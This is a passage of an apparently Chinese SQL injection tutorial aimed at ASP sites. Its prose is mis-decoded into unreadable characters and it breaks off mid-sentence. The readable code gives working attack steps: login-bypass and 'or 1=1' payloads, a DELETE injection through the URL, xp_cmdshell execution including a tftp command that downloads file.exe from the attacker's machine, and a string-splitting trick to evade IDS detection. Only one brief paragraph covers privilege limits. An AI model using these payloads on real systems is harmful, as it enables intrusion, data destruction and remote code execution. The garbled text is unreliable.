°´¼üÅÌÉÏ·½Ïò¼ü ¡û »ò ¡ú ¿É¿ìËÙÉÏÏ·ҳ£¬°´¼üÅÌÉ쵀 Enter ¼ü¿É»Øµ½±¾ÊéĿ¼ҳ£¬°´¼üÅÌÉÏ·½Ïò¼ü ¡ü ¿É»Øµ½±¾Ò³¶¥²¿£¡
¡ª¡ª¡ª¡ªÎ´ÔĶÁÍꣿ¼ÓÈëÊéÇ©ÒѱãÏ´μÌÐøÔĶÁ£¡
񂭜
¡¡¡¡¡¡¡¡SQL¡¡injectionʹµÃ¹¥»÷ÕßÄܹ»ÀûÓá¡Web¡¡Ó¦ÓóÌÐòÖÐijЩÊèÓÚ·À·¶µÄÊäÈë»ú»á¶¯Ì¬Éú³ÉÌØÊâµÄ¡¡SQL¡¡Ö¸ÁîÓï¾ä¡£¾ÙÒ»¸ö³£¼ûµÄÀý×Ó£º¡¡
¡¡¡¡¡¡¡¡Ä³¡¡Web¡¡ÍøÕ¾²ÉÓÃ±íµ¥À´ÊÕ¼¯·ÃÎÊÕßµÄÓû§ÃûºÍÃÜÂëÒÔÈ·ÈÏËûÓÐ×㹻ȨÏÞ·ÃÎÊijЩ±£ÃÜÐÅÏ¢£¬È»ºó¸Ã±íµ¥±»·¢Ë͵½¡¡Web¡¡·þÎñÆ÷½øÐд¦Àí¡£½ÓÏÂÀ´£¬·þÎñÆ÷¶ËµÄASP¡¡½Å±¾¸ù¾Ý±íµ¥ÌṩµÄÐÅÏ¢Éú³É¡¡SQL¡¡Ö¸ÁîÓï¾äÌá½»µ½¡¡SQL¡¡·þÎñÆ÷£¬²¢Í¨¹ý·ÖÎö¡¡SQL¡¡·þÎñÆ÷µÄ·µ»Ø½á¹ûÀ´ÅжϸÃÓû§Ãû/ÃÜÂë×éºÏÊÇ·ñÓÐЧ¡£¡¡
¡¡¡¡¡¡¡¡ÎªÁËʵÏÖÕâÑùµÄ¹¦ÄÜ£¬Web¡¡³ÌÐòÔ±¿ÉÄÜ»áÉè¼ÆÁ½¸öÒ³Ã棺һ¸ö¡¡HTML¡¡Ò³Ãæ¡¡£¨Login¡£htm£©¡¡ÓÃÓڵǼ£¬ÁíÒ»¸öASP¡¡Ò³Ãæ¡¡£¨ExecLogin¡£asp£©¡¡ÓÃÓÚÑéÖ¤Óû§È¨ÏÞ£¨¼´ÏòÊý¾Ý¿â²éѯÓû§Ãû/ÃÜÂë×éºÏÊÇ·ñ´æÔÚ£©¡£¾ßÌå´úÂë¿ÉÄÜÏóÕâÑù£º¡¡
¡¡¡¡¡¡¡¡Login¡£htm¡¡£¨HTML¡¡Ò³Ã棩¡¡
¡¡¡¡¡¡¡¡´úÂ룺¡¡Username£º¡¡
¡¡¡¡¡¡¡¡Password£º¡¡
¡¡¡¡¡¡¡¡¡¡¡¡
¡¡¡¡¡¡¡¡ExecLogin¡£asp¡¡£¨ASP¡¡Ò³Ã棩¡¡
¡¡¡¡¡¡¡¡´úÂ룺¡¡
¡¡¡¡¡¡¡¡Õ§Ò»¿´£¬ExecLogin¡£asp¡¡µÄ´úÂëËƺõûÓÐÈκΰ²È«Â©¶´£¬ÒòΪÓû§Èç¹û²»¸ø³öÓÐЧµÄÓû§Ãû/ÃÜÂë×éºÏ¾ÍÎÞ·¨µÇ¼¡£È»¶ø£¬Õâ¶Î´úÂëÆ«Æ«²»°²È«£¬¶øÇÒËüÕýÊÇSQL¡¡Ö¸ÁîÖ²Èëʽ¹¥»÷µÄÀíÏëÄ¿±ê¡£¾ßÌå¶øÑÔ£¬Éè¼ÆÕß°ÑÓû§µÄÊäÈëÖ±½ÓÓÃÓÚ¹¹½¨SQL¡¡Ö¸Á´Ó¶øʹ¹¥»÷ÕßÄܹ»×ÔÐоö¶¨¼´½«±»Ö´Ðеġ¡SQL¡¡Ö¸Áî¡£ÀýÈ磺¹¥»÷Õß¿ÉÄÜ»áÔÚ±íµ¥µÄÓû§Ãû»òÃÜÂëÀ¸ÖÐÊäÈë°üº¬¡°¡¡or¡¡¡±ºÍ¡°=¡±¡¡µÈÌØÊâ×Ö·û¡£ÓÚÊÇ£¬Ìá½»¸øÊý¾Ý¿âµÄ¡¡SQL¡¡Ö¸Áî¾Í¿ÉÄÜÊÇ£º¡¡
¡¡¡¡¡¡¡¡´úÂ룺SELECT¡¡*¡¡FROM¡¡tblUsers¡¡WHERE¡¡Username=''¡¡or¡¡''=''¡¡and¡¡Password¡¡=¡¡''¡¡or¡¡''=''¡¡
¡¡¡¡¡¡¡¡ÕâÑù£¬SQL¡¡·þÎñÆ÷½«·µ»Ø¡¡tblUsers¡¡±í¸ñÖеÄËùÓмǼ£¬¶ø¡¡ASP¡¡½Å±¾½«»áÒò´Ë¶øÎóÈÏΪ¹¥»÷ÕßµÄÊäÈë·ûºÏ¡¡tblUsers¡¡±í¸ñÖеĵÚÒ»Ìõ¼Ç¼£¬´Ó¶øÔÊÐí¹¥»÷ÕßÒÔ¸ÃÓû§µÄÃûÒåµÇÈëÍøÕ¾¡£¡¡
¡¡¡¡¡¡¡¡SQL¡¡Ö¸ÁîÖ²Èëʽ¹¥»÷»¹ÓÐÁíÒ»ÖÖÐÎʽ£¬Ëü·¢ÉúÔÚ¡¡ASP¡¡·þÎñÆ÷¸ù¾Ý¡¡querystring¡¡²ÎÊý¶¯Ì¬Éú³ÉÍøҳʱ¡£ÕâÀïÓÐÒ»¸öÀý×Ó£¬´Ë¡¡ASP¡¡Ò³Ãæ´Ó¡¡URL¡¡ÖÐÌáÈ¡³ö¡¡querystring¡¡²ÎÊýÖеġ¡ID¡¡Öµ£¬È»ºó¸ù¾Ý¡¡ID¡¡Öµ¶¯Ì¬Éú³Éºó¼ÌÒ³Ã棺¡¡
¡¡¡¡¡¡¡¡´úÂ룺¡¡
¡¡¡¡¡¡¡¡ÔÚÒ»°ãÇé¿öÏ£¬´Ë¡¡ASP¡¡½Å±¾Äܹ»ÏÔʾ¾ßÓÐÌض¨¡¡ID¡¡ÖµµÄÎÄÕµÄÄÚÈÝ£¬¶ø¡¡ID¡¡ÖµÊÇÓÉ¡¡URL¡¡Öеġ¡querystring¡¡²ÎÊýÖ¸¶¨µÄ¡£ÀýÈ磺µ±URLΪ¡¡example/Article¡£asp£¿ID=1055¡¡Ê±£¬ASP¡¡¾Í»á¸ù¾Ý¡¡ID¡¡Îª¡¡1055¡¡µÄÎÄÕÂÌṩµÄÄÚÈÝÉú³ÉÒ³Ãæ¡£¡¡
¡¡¡¡¡¡¡¡ÈçͬǰÊöµÇ¼ҳÃæµÄÀý×ÓÒ»Ñù£¬´Ë¶Î´úÂëÒ²ÏòSQL¡¡Ö¸ÁîÖ²Èëʽ¹¥»÷³¨¿ªÁË´óÃÅ¡£ÓÐЩÓû§£¨±ÈÈçÎÒÃÇ£©¿ÉÄÜ»á°Ñ¡¡querystring¡¡ÖеÄÎÄÕ¡¡ID¡¡ÖµÍµ»»Îª¡°0¡¡or¡¡1=1¡±µÈÄÚÈÝ£¨Ò²¾ÍÊÇ˵£¬°Ñ¡¡URL¡¡»»³É¡¡example/Article¡£asp£¿ID=0¡¡or¡¡1=1£©¡¡´Ó¶øÓÕʹ¡¡ASP¡¡½Å±¾Éú³É²»°²È«µÄ¡¡SQL¡¡Ö¸ÁîÈ磺¡¡
¡¡¡¡¡¡¡¡´úÂ룺SELECT¡¡*¡¡FROM¡¡tblArticles¡¡WHERE¡¡ID=0¡¡or¡¡1=1¡¡
¡¡¡¡¡¡¡¡ÓÚÊÇ£¬Êý¾Ý¿â½«»á·µ»ØËùÓÐÎÄÕµÄÄÚÈÝ¡£¡¡
¡¡¡¡¡¡¡¡µ±È»ÁË£¬±¾Àý·þÎñÆ÷ËùÊܵĹ¥»÷²»Ò»¶¨»áÒýÆðʲôÑÏÖغó¹û¡£¿ÉÊÇÈç¹ûÎÒÃDZ䱾¼ÓÀ÷£¬±ÈÈçÓÃͬÑùµÄÊֶη¢ËÍ¡¡DELETE¡¡µÈ¡¡SQL¡¡Ö¸Áî¡£ÕâÖ»ÐèÒª¼òµ¥µØÐÞ¸ÄÇ°Êö¡¡URL¡¡Öеġ¡querystring¡¡²ÎÊý¾Í¿ÉÒÔÁË£¡ÀýÈ磺ÈκÎÈ˶¼¿ÉÒÔͨ¹ý¡¡¡°example/Article¡£asp£¿ID=1055£»¡¡DELETE¡¡FROM¡¡tblArticles¡¡¡±¡¡Ö®ÀàµÄ¡¡URL¡¡À´·ÃÎÊ¡¡Web¡¡ÍøÕ¾¡£¡¡
¡¡¡¡¡¡¡¡µ«³ÌÐò±Ï¾¹ÊǸ÷ÖÖ¸÷ÑùµÄ£¬ÓÐЩ¿ÉÒÔͨ¹ýÐÞ¸ÄURLÊý¾ÝÀ´Ìá½»ÃüÁî»òÓï¾ä£¬ÓÐЩÔò²»ÐУ¬²»ÄÜ´òURLµÄÖ÷Ò⣬Ôõô°ìÄØ£¿Í¨¹ýÐ޸ıêÇ©ÄÚµÄvalueµÄÖµÒ²¿ÉÒÔÌá½»ÎÒÃǹ¹ÔìµÄÓï¾ä£¬SQL¡¡injectionÊǺÜÁé»îµÄ¼¼Êõ£¬µ«ÎÒÃǵÄÄ¿µÄÖ»ÓÐÒ»¸ö£¬¾ÍÊÇÏë·½Éè·¨ÈĹý³ÌÐò»òIDSµÄ¼ì²âºÍ´¦ÀíÌá½»ÎÒÃǹ¹ÔìµÄÓÐЧÓï¾ä¡£¡¡
¡¡¡¡¡¡¡¡ÔÚ´ó¶àÊýASPÕ¾µãÖУ¬ÎÒÃDz¢²»ÖªµÀÆä³ÌÐò´úÂ룬*ÈκÎɨÃèÆ÷Ò²²»¿ÉÄÜ·¢ÏÖSQL¡¡injection©¶´£¬Õâʱ¾ÍÒª*ÊÖ¹¤¼ì²âÁË£¬ÓÉÓÚÎÒÃÇÖ´ÐÐSQLÓï¾äÒªÓõ½µ¥ÒýºÅ¡¢·ÖºÅ¡¢¶ººÅ¡¢Ã°ºÅºÍ¡°¡±£¬ËùÒÔÎÒÃǾÍÔÚ¿ÉÐ޸ĵÄURLºó¼ÓÉÏÒÔÉÏ·ûºÅ£¬»òÔÚ±íµ¥ÖеÄÎı¾¿ò¼ÓÉÏÕâЩ·ûºÅ£¬±ÈÈ磺¡¡
¡¡¡¡¡¡¡¡´úÂ룺¡¡
¡¡¡¡¡¡¡¡localhost/show¡£asp£¿id=1'¡¡
¡¡¡¡¡¡¡¡localhost/show¡£asp£¿id=1£»¡¡
¡¡¡¡¡¡¡¡¡¡
¡¡¡¡¡¡¡¡Í¨¹ýÒ³Ãæ·µ»ØµÄÐÅÏ¢£¬ÅжÏÊÇ·ñ´æÔÚSQL¡¡injection©¶´£¬Ö»ÊÇ×î¼òµ¥µÄͨ¹ý×Ö·û¹ýÂËÀ´Åжϣ¬¸ù¾ÝIISÅäÖò»Í¬£¬·µ»ØµÄÐÅÏ¢ÊDz»¶¨µÄ£¬ÓÐʱÏÔʾ
¡¡¡¡¡¡¡¡Microsoft¡¡OLE¡¡DB¡¡Provider¡¡for¡¡ODBC¡¡Drivers¡¡´íÎó¡¡'80040e21'¡¡
¡¡¡¡¡¡¡¡ODBC¡¡Çý¶¯³ÌÐò²»Ö§³ÖËùÐèµÄÊôÐÔ¡£¡¡
¡¡¡¡¡¡¡¡/register/lostpass2¡£asp£¬ÐÐ15
¡¡¡¡¡¡¡¡ÓÐʱ¿ÉÄÜ»áÏÔʾ¡°HTTP¡¡500¡¡¡¡¡ÄÚ²¿·þÎñÆ÷´íÎó¡±£¬Ò²¿ÉÄÜÏÔʾÔÀ´µÄÒ³Ã棬Ҳ¾ÍÊÇÒ³ÃæÕý³£ÏÔʾ£¬¸ü¿ÉÄÜÌáʾ¡°HTTP¡¡404¡¡¨C¡¡ÕÒ²»µ½¸ÃÒ³¡±£¬ÅжÏÊÇ·ñÓЩ¶´¾ÍÒªÓиö×î»ù±¾µÄ¸ù¾Ý¡ª¡ª¾Ñ飬Õâ¸ö¾Í*´ó¼Ò×Ô¼ºÈ¥ÁìÎòÁË¡£
¡¡¡¡¡¡¡¡Èç¹ûÄÜÄõ½Ô´´úÂë¾Í¸üºÃÁË£¬¿ÉÒÔͨ¹ý·ÖÎöÔ´´úÂëÀ´·¢ÏÖASPÎļþµÄÎÊÌ⣬²»¹ýÕâÒªÇóÓнϸߵıà³Ì¹¦µ×£¬×î½üPsKey¾Í·¢ÏÖÁ˲»ÉÙ³ÌÐò´æÔÚSQL¡¡injection©¶´¡£×î½üÔ½·¢µÄ¿ªÊ¼³ç°ÝPSkeyÁË
¡¡¡¡¡¡¡¡Ìá½»Êý¾Ý
¡¡¡¡¡¡¡¡ÎÒÃÇÅжϳöÒ»¸öASP³ÌÐò´æÔÚSQL¡¡injection©¶´ÒÔºó¾ÍÒª¹¹ÔìÎÒÃǵÄÓï¾äÀ´¶Ô·þÎñÆ÷½øÐвÙ×÷ÁË£¬Ò»°ãÎÒÃǵÄÄ¿µÄÊÇ¿ØÖÆSQL·þÎñÆ÷²éÔÄÐÅÏ¢ÉõÖÁ²Ù×÷ϵͳ¡£ËùÒÔÎÒÃÇÒªÓõ½xp_cmdshellÕâ¸öÀ©Õ¹´æ´¢¹ý³Ì£¬xp_cmdshellÊÇÒ»¸ö·Ç³£ÓÐÓõÄÀ©Õ¹´æ´¢¹ý³Ì£¬ÓÃÓÚÖ´ÐÐϵͳÃüÁ±ÈÈçdir£¬ÎÒÃÇ¿ÉÒÔ¸ù¾Ý³ÌÐòµÄ²»Í¬£¬Ìá½»²»Í¬µÄÓï¾ä£¬ÏÂÀýÓï¾ä½ö½öÊǸö²Î¿¼£¬¸æËß´ó¼ÒÕâ¸öÔÀí£¬Êµ¼ÊÇé¿öÊÓ³ÌÐò¶ø¶¨£¬ÕÕ°á²»Ò»¶¨³É¹¦£¬ÏÂͬ¡£¡¡
¡¡¡¡¡¡¡¡´úÂ룺¡¡
¡¡¡¡¡¡¡¡localhost/show¡£asp£¿id=1£»¡¡exec¡¡master¡£dbo¡£xp_cmdshell¡¡'dir'£»¡¡
¡¡¡¡¡¡¡¡localhost/show¡£asp£¿id=1'£»¡¡exec¡¡master¡£¡£xp_cmdshell¡¡'dir'
¡¡¡¡¡¡¡¡ÕýÈçÇ°ÃæËù˵£¬Ìá½»ÕâÑùµÄÐÅÏ¢ä¯ÀÀÆ÷»á·µ»Ø³ö´íÐÅÏ¢»ò500´íÎó£¬ÎÒÃÇÔõô²ÅÄÜÖªµÀÖ´ÐÐÊÇ·ñ³É¹¦ÄØ£¿isnoµÄ°ì·¨ÊÇÓÃnc¼àÌý±¾»ú¶Ë¿Ú£¬È»ºóÌá½»nslookupÃüÁîÀ´²éѯ£¬ÎÒ¸öÈ˾õµÃÓÐЩÂé·³£¬Ö±½ÓÓÃtftpÀ´ÓжàÖֺô¦£¬ÄÜÖªµÀÃüÁîÊÇ·ñ³É¹¦Ö´ÐУ»ÄÜ»ñµÃSQL·þÎñÆ÷µÄIP´Ó¶øÅжÏSQL·þÎñÆ÷µÄλÖã»»¹ÄܽÚʡһЩ²½ÖèÖ±½ÓÉÏ´«Îļþµ½SQL·þÎñÆ÷¡£ÀûÓÃxp_cmdshellÀ©Õ¹´æ´¢¹ý³ÌÖ´ÐÐtftpÃüÁÔÚÍæunicode©¶´µÄʱºò´ó¼Ò¾Í¯»ð´¿ÇàÁË°É£¿ÁÐÈ磺
¡¡¡¡¡¡¡¡´úÂ룺¡¡
¡¡¡¡¡¡¡¡localhost/show¡£asp£¿id=1£»¡¡exec¡¡master¡£dbo¡£xp_cmdshell¡¡'tftp¡¡¨Ci¡¡youip¡¡get¡¡file¡£exe'£»¡¡
¡¡¡¡¡¡¡¡localhost/show¡£asp£¿id=1'£»¡¡exec¡¡master¡£¡£xp_cmdshell¡¡'tftp¡¡¨Ci¡¡youip¡¡get¡¡file¡£exe'
¡¡¡¡¡¡¡¡ÓÐʱÌá½»µÄÊý¾Ý²¢²»Ò»¶¨Æð×÷Ó㬿´ÄãÔõôÈƹý³ÌÐòµÄ¼ì²âÁË£¬Èç¹ûÐÒÔ˳ɹ¦µÄ»°£¬¿ÉÒÔ¿´µ½tftpÈí¼þµÄ´°¿Ú³öÏÖ´Ó±¾»úÏÂÔØÎļþµÄÐÅÏ¢ÁË¡£¡¡
¡¡¡¡¡¡¡¡¡¡¡¡¶Ô»°¿òÖеÄIPµØÖ·¾ÍÊÇSQL·þÎñÆ÷µÄIP£¬¿ÉÒÔ¸ù¾ÝÕâ¸öIPÅжÏSQL·þÎñÆ÷´¦ÓÚʲôλÖ㬺Íweb·þÎñÆ÷Ò»Æð£¬ÔÚ¾ÖÓòÍøÄÚ£¬»¹Êǵ¥¶ÀµÄ·þÎñÆ÷£¬¾Í×Ô¼ºÅжÏÁË£¬´Ë֪ʶµã²»ÔÚ±¾ÎÄÌÖÂÛ·¶Î§ÄÚ£¬¾Í´ËÂÔ¹ý¡£ÃüÁîÖ´Ðгɹ¦ÒԺ󣬾ͿÉÒÔÌæ»»µ¥ÒýºÅÖеÄÄÚÈÝ£¬Ìí¼ÓÓû§¡¢ÌáÉýȨÏÞ×öʲô¶¼Ëæ±ã´ó¼ÒÁË£¬²»¹ýÒª¿´¿´Á¬½ÓSQL·þÎñÆ÷µÄÕâ¸ö½ÇÉ«ÊÇʲô×éµÄÁË¡£¡¡
¡¡¡¡¡¡¡¡ÈĹý³ÌÐò/IDS¼ì²â¡¡
¡¡¡¡¡¡¡¡´ó¶àÊýʱºò£¬Çé¿ö²¢·ÇÎÒÃÇÏëÏóµÄÄÇô˳Àû£¬Ã÷Ã÷×Ö·û¹ýÂ˲»ÍêÉÆ£¬µ«³ÌÐò»òIDS¼ì²âµ½Óû§Ìύij¸öÀ©Õ¹´æ´¢¹ý³Ì»òϵͳÃüÁ¾Í×Ô¶¯×ª»»»ò²ð·Ö×Ö·û£¬ÈÃÎÒÃÇÌá½»µÄÊý¾Ý·Ö¼Ò»ò¸Ä±äµ¼ÖÂʧЧ£¬Ôõô°ìÄØ£¿ÎҼǵÃÎÒΪÁËŪÇåÈçºÎÈĹýIDS¼ì²â£¬»¨ÁËÁ½½Ú¿ÎµÄʱ¼äÀ´Ë¼¿¼£¬»¹Ð´Ð´»»ÀË·ÑÁË°ë±¾±Ê¼Ç±¾£¬ÓÖÒòΪ¿´ÁËPskeyµÄÎÄÕµÄÌáʾ£¬¾Í²úÉúÒ»¸ö˼·£º²ð·ÖÃüÁî×Ö·û´®£¬¸³Öµ¸ø±äÁ¿£¬È»ºó°Ñ±äÁ¿×éºÏÆðÀ´Ìá½»£¬ÕâÑù¾Í²»»á·Ö¼ÒÁË£¬ÏÂÃæ¸ø³öÁ½¸öÀý×Ó£º
¡¡¡¡¡¡¡¡´úÂ룺
¡¡¡¡¡¡¡¡declare¡¡@a¡¡sysname¡¡set¡¡@a='xp_'£«'cmdshell'¡¡exec¡¡@a¡¡'dir¡¡c£º'¡¡
¡¡¡¡¡¡¡¡declare¡¡@a¡¡sysname¡¡set¡¡@a='xp'£«'_cm¡¯£«¡¯dshell'¡¡exec¡¡@a¡¡'dir¡¡c£º'
¡¡¡¡¡¡¡¡ÓÐʱºò²¢²»ÐèÒªÕâÑù£¬Ö»Òª°ÑijЩ×Ö·û»»ASCII´úÂ룬ͬÑùÒ²¿ÉÒԳɹ¦Ö´ÐУ¬Õâ¸öÎÒ»¹Ã»ÓÐÌõ¼þÊÔ£¬Èç¹ûÄÄλ¸ßÈËÓÐÕâ·½ÃæµÄÑо¿£¬Çë´Í½Ì¡£¡¡
¡¡¡¡¡¡¡¡×îºó£¬ÎªÁ˼õÇáSQL¡¡njectionµÄΣº¦£¬ÇëÏÞÖÆ¡¡Web¡¡Ó¦ÓóÌÐòËùÓõÄÊý¾Ý¿â·ÃÎÊÕʺÅȨÏÞ¡£Ò»°ãÀ´Ëµ£¬Ó¦ÓóÌÐòûÓбØÒªÒÔ¡¡dbo¡¡»òÕß¡¡sa¡¡µÄÉí·Ý·ÃÎÊÊý¾Ý¿â¡£¼Çס£¬¸øËüµÄȨÏÞÔ½ÉÙ£¬ÄãµÄÍøÕ¾Ô½°²È«£¡Ä㻹¿ÉÒÔ¿¼ÂÇ·Ö±ð¸øÿ¸öÐèÒª·ÃÎÊÊý¾Ý¿âµÄ¶ÔÏó·ÖÅäÖ»ÓµÓбØÐèȨÏÞµÄÕʺţ¬ÒÔ·ÖÉ¢°²È«Â©¶´¡£ÀýÈ磺ͬÊÇÇ°¶ËÓû§½çÃ棬µ±ÓÃÓÚ¹«¹²³¡Ëùʱ¾Í±ÈÓÃÓÚ¾ßÓб¾µØÄÚÈݹÜÀí»úÖƵÄƽ̨ʱ¸ü¼ÓÐèÒªÑϸñÏÞÖÆÊý¾Ý¿â·ÃÎÊȨÏÞ¡£
¡¡¡¡¡¡¡¡¡ºµÚ21Ìì¡»ÉîÈëSQL×¢Èë
¡¡¡¡¡¡¡¡Ç°ÃæÎÒÃÇ˵¿ÉÒÔͨ¹ýһЩ·µ»ØÐÅÏ¢À´ÅжÏSQL×¢È룬µ«Ê×ÏȲ»Ò»¶¨Ã¿Ì¨·þÎñÆ÷µÄIIS¶¼·µ»Ø¾ßÌå´íÎóÌáʾ¸ø¿Í»§¶Ë£¬Èç¹û³ÌÐòÖмÓÁËcint£¨²ÎÊý£©Ö®ÀàÓï¾äµÄ»°£¬SQL×¢ÈëÊDz»»á³É¹¦µÄ£¬µ«·þÎñÆ÷ͬÑù»á±¨´í£¬¾ßÌåÌáʾÐÅϢΪ´¦Àí¡¡URL¡¡Ê±·þÎñÆ÷Éϳö´í¡£ÇëºÍϵͳ¹ÜÀíÔ±ÁªÂç¡£
¡¡¡¡¡¡¡¡Æä´Î£¬²¿·Ö¶ÔSQL×¢ÈëÓÐÒ»µãÁ˽âµÄ³ÌÐòÔ±£¬ÈÏΪֻҪ°Ñµ¥ÒýºÅ¹ýÂ˵ô¾Í°²È«ÁË£¬ÕâÖÖÇé¿ö²»ÎªÉÙÊý£¬Èç¹ûÄãÓõ¥ÒýºÅ²âÊÔ£¬ÊDzⲻµ½×¢ÈëµãµÄ
¡¡¡¡¡¡¡¡ÄÇô£¬Ê²Ã´ÑùµÄ²âÊÔ·½·¨²ÅÊDZȽÏ׼ȷÄØ£¿´ð°¸ÈçÏ£º
¡¡¡¡¡¡¡¡¢Ù¡¡host/showdetail¡£asp£¿id=49
¡¡¡¡¡¡¡¡¢Ú¡¡host/showdetail¡£asp£¿id=49¡¡£»£»and¡¡1=1
¡¡¡¡¡¡¡¡¢Û¡¡host/showdetail¡£asp£¿id=49¡¡£»£»and¡¡1=2
¡¡¡¡¡¡¡¡Õâ¾ÍÊǾµäµÄ1=1¡¢1=2²âÊÔ·¨ÁË£¬ÔõôÅжÏÄØ£¿¿´¿´ÉÏÃæÈý¸öÍøÖ··µ»ØµÄ½á¹û¾ÍÖªµÀÁË£º
¡¡¡¡¡¡¡¡¿ÉÒÔ×¢ÈëµÄ±íÏÖ£º
¡¡¡¡¡¡¡¡¢Ù¡¡Õý³£ÏÔʾ£¨ÕâÊDZØÈ»µÄ£¬²»È»¾ÍÊdzÌÐòÓдíÎóÁË£©
¡¡¡¡¡¡¡¡¢Ú¡¡Õý³£ÏÔʾ£¬ÄÚÈÝ»ù±¾Óë¢ÙÏàͬ
¡¡¡¡¡¡¡¡¢Û¡¡ÌáʾBOF»òEOF£¨³ÌÐòû×öÈκÎÅжÏʱ£©¡¢»òÌáʾÕÒ²»µ½¼Ç¼£¨ÅжÏÁËrs¡£eofʱ£©¡¢»òÏÔʾÄÚÈÝΪ¿Õ£¨³ÌÐò¼ÓÁËon¡¡error¡¡resume¡¡next£©
¡¡¡¡¡¡¡¡²»¿ÉÒÔ×¢Èë¾Í±È½ÏÈÝÒ×ÅжÏÁË£¬¢ÙͬÑùÕý³£ÏÔʾ£¬¢ÚºÍ¢ÛÒ»°ã¶¼»áÓгÌÐò¶¨ÒåµÄ´íÎóÌáʾ£¬»òÌáʾÀàÐÍת»»Ê±³ö´í¡£
¡¡¡¡¡¡¡¡¡¡¡¡µ±È»£¬ÕâÖ»ÊÇ´«Èë²ÎÊýÊÇÊý×ÖÐ͵ÄʱºòÓõÄÅжϷ½·¨£¬Êµ¼ÊÓ¦ÓõÄʱºò»áÓÐ×Ö·ûÐͺÍËÑË÷ÐͲÎÊý£¬ÏÂÃæÎÒÃÇÔÚÀ´×ø·ÖÎö¡£
¡¡¡¡¡¡¡¡²»¹ýÎÒÃÇÏÈÀ´ËµÒ»¸öÎÊÌ⣺
¡¡¡¡¡¡¡¡²»Í¬µÄÊý¾Ý¿âµÄº¯Êý¡¢×¢Èë·½·¨¶¼ÊÇÓвîÒìµÄ£¬ËùÒÔÔÚ×¢Èë֮ǰ£¬ÎÒÃÇ»¹ÒªÅжÏÒ»ÏÂÊý¾Ý¿âµÄÀàÐÍ¡£Ò»°ãASP×î³£´îÅäµÄÊý¾Ý¿âÊÇAccessºÍSQLServer£¬ÍøÉϳ¬¹ý99£¥µÄÍøÕ¾¶¼ÊÇÆäÖÐÖ®Ò»¡£
¡¡¡¡¡¡¡¡ÔõôÈóÌÐò¸æËßÄãËüʹÓõÄʲôÊý¾Ý¿âÄØ£¿À´¿´¿´£º
¡¡¡¡¡¡¡¡SQLServerÓÐһЩϵͳ±äÁ¿£¬Èç¹û·þÎñÆ÷IISÌáʾû¹Ø±Õ£¬²¢ÇÒSQLServer·µ»Ø´íÎóÌáʾµÄ»°£¬ÄÇ¿ÉÒÔÖ±½Ó´Ó³ö´íÐÅÏ¢»ñÈ¡£¬·½·¨ÈçÏ£º
¡¡¡¡¡¡¡¡host/showdetail¡£asp£¿id=49¡¡£»£»and¡¡user¡·0
¡¡¡¡¡¡¡¡Õâ¾äÓï¾äºÜ¼òµ¥£¬µ«È´°üº¬ÁËSQLServerÌØÓÐ×¢Èë·½·¨µÄ¾«Ë裬ÎÒ×Ô¼ºÒ²ÊÇÔÚÒ»´ÎÎÞÒâµÄ²âÊÔÖз¢ÏÖÕâÖÖЧÂʼ«¸ßµÄ²Â½â·½·¨¡£ÈÃÎÒ¿´À´¿´¿´ËüµÄº¬Ò壺Ê×ÏÈ£¬Ç°ÃæµÄÓï¾äÊÇÕý³£µÄ£¬ÖصãÔÚand¡¡user¡·0£¬ÎÒÃÇÖªµÀ£¬userÊÇSQLServerµÄÒ»¸öÄÚÖñäÁ¿£¬ËüµÄÖµÊǵ±Ç°Á¬½ÓµÄÓû§Ãû£¬ÀàÐÍΪnvarchar¡£ÄÃÒ»¸önvarcharµÄÖµ¸úintµÄÊý0±È½Ï£¬ÏµÍ³»áÏÈÊÔͼ½«nvarcharµÄֵת³ÉintÐÍ£¬µ±È»£¬×ªµÄ¹ý³ÌÖп϶¨»á³ö´í£¬SQLServerµÄ³ö´íÌáʾÊÇ£º½«nvarcharÖµ¡¡¡±abc¡±¡¡×ª»»Êý¾ÝÀàÐÍΪ¡¡int¡¡µÄÁÐʱ·¢ÉúÓï·¨´íÎ󣬺Ǻǣ¬abcÕýÊDZäÁ¿userµÄÖµ£¬ÕâÑù£¬²»·Ï´µ»ÒÖ®Á¦¾ÍÄõ½ÁËÊý¾Ý¿âµÄÓû§Ãû¡£ÔÚÒÔºóµÄƪ·ùÀ´ó¼Ò»á¿´µ